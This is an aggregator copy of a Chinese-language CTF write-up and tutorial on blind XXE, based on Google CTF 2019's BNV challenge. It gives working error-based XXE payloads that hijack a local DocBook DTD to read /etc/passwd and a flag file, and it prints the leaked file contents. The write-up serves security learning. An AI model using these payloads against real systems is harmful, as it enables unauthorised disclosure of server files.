85

Blind-XXE与Google CTF 2019-BNV

 5 years ago
source link: https://www.tuicool.com/articles/quiMNnz
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 : 简介

通过Google CTF的 BNV 学习一下XXE

一个JSON的WEB应用可以XXE

时隔许久的一次更新..

0x01 : 前言

现在有会显得XXE已经很少了,Blind-XXE重点在于如何将数据传输出来。

以往很多文章通过引入外部服务器或外部dtd文件,可以实现OOB(out-of-band)信息传递和通过构造dtd从错误信息获取数据。

0x02 : 参数实体

XML的DTD可以定义普通实体和参数实体两种实体类型,而这两种类型也可以再分别为内部实体和外部实体。

XXE,全称就为XML外部实体注入漏洞。通过外部实体SYSTEM请求本地文件uri,通过某种方式返回本地文件内容就导致了XXE漏洞。

声明内部实体和外部实体区别如下 :

<!ENTITY 实体名 SYSTEM url> //外部实体
<!ENTITY 实体名 实体的值> //内部实体

Blind XXE 需要使用到DTD约束自定义实体中的参数实体。参数实体是只能在DTD中定义和使用的实体,以 % 为标志定义,定义和使用方法如下

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY b "hello">  //内部普通实体
    <!ENTITY b SYSTEM "http://xml.org/hhh.dtd"> //外部普通实体
    <!ENTITY % para SYSTEM "file:///1234.dtd"> //外部参数实体
    %para;
]>
<c>&b;</c>

而且参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体 % 需要进行HTML转义,否则会出现解析错误

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY % para '<!ENTITY % files SYSTEM "file:///etc/passwd">'>
]>

0x03 : Blind-XXE 引用本地DTD文件

如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd,那么我们可以通过引入本地dtd文件实现XXE。

ubuntu系统自带 /usr/share/yelp/dtd/docbookx.dtd 文件

它定义了很多参数实体并调用,所以我们可以在内部重写一个该dtd文件中含有的参数实体,如 ISOmaso

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'test%file'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>

形如

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>

0x04 : Google CTF 2019-BNV Response

Invalid URI: testroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:106::/var/run/dbus:/bin/false
colord:x:106:108:colord colour management daemon,,,:/var/lib/colord:/bin/false
, line 4, column 15

Payload

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///flag">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'test%file;'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>

Response

Invalid URI: testCTF{0x1033_75008_1004x0}, line 4, column 15

References:


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK